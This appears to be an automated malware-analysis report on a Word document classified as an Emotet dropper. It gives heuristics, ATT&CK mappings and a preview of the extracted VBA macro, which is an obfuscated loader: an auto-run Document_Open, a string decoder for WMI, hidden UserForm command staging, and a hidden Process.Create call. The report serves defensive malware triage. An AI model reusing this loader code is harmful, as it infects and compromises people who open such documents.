MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name 'Doc.Dropper.EmotetIOS-9402070-0' further supports this attribution. The VBA script uses CreateObject to likely download and execute a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11527 bytes |
SHA-256: 55446f1b4d30a1fd79c1ea084eb735f151de47682ae7c84f5360091c6c0df976 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "buatdooj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
boatloequteib
End Sub
Attribute VB_Name = "vaelwuam"
Attribute VB_Base = "0{8B877F93-59E6-442D-8A05-D64EC578C8EA}{A4DF50D9-E873-4FC2-8CC6-1D6211787A4F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "liatchiowquioj"
Function boatloequteib()
hiatguulxuaqunax = Chr(vaelwuam.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
chetnuavpaoch = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + hiatguulxuaqunax + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + vaelwuam.xiethfeudcog + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
soewleavquiaw = quiamheonkoih(chetnuavpaoch)
Dim uVS8Üe As Long
Set giobhudjoach = CreateObject(soewleavquiaw)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
riathqueemfok = vaelwuam.peozpaoyvaomjiol.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
lahquiag = soewleavquiaw + hiatguulxuaqunax + vaelwuam.zoojxeogchoithheef.ControlTipText + riathqueemfok
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
xaudbeoldiar = lahquiag + vaelwuam.xiethfeudcog
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set geelquain = roeftadzuanruch(xaudbeoldiar)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", giobhudjoach. _
Create(paezjeoyzoy, xiospoin, geelquain), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function roeftadzuanruch(chouthbiojguahfoiz)
Set roeftadzuanruch = CreateObject(chouthbiojguahfoiz)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
roeftadzuanruch _
. _
showwindow = (bimwehteivgos + zoudxuabkuavnees) + (keaftibdeiwloeg + geiquchaenyiax)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function quiamheonkoih(buupgiquraum)
gainzoim = buupgiquraum
Dim k2ÁtJPgnG As Date
taekzaqupioj = Split(gainzoim, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
waexmeerthiech = we + Join(taekzaqupioj, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
quiamheonkoih = waexmeerthiech
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function paezjeoyzoy()
aqw = vaelwuam.yougrietwuuh.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
paezjeoyzoy = quiamheonkoih(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function
' Processing file: /opt/analyzer/scan_staging/f499d8eed8ad4d968f915fb2166dd639.bin
' ===============================================================================
' Module streams:
' Macros/VBA/buatdooj - 1356 bytes
' Line #0:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Sub buatdooj())
' Line #1:
' ArgsCall Document_open 0x0000
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.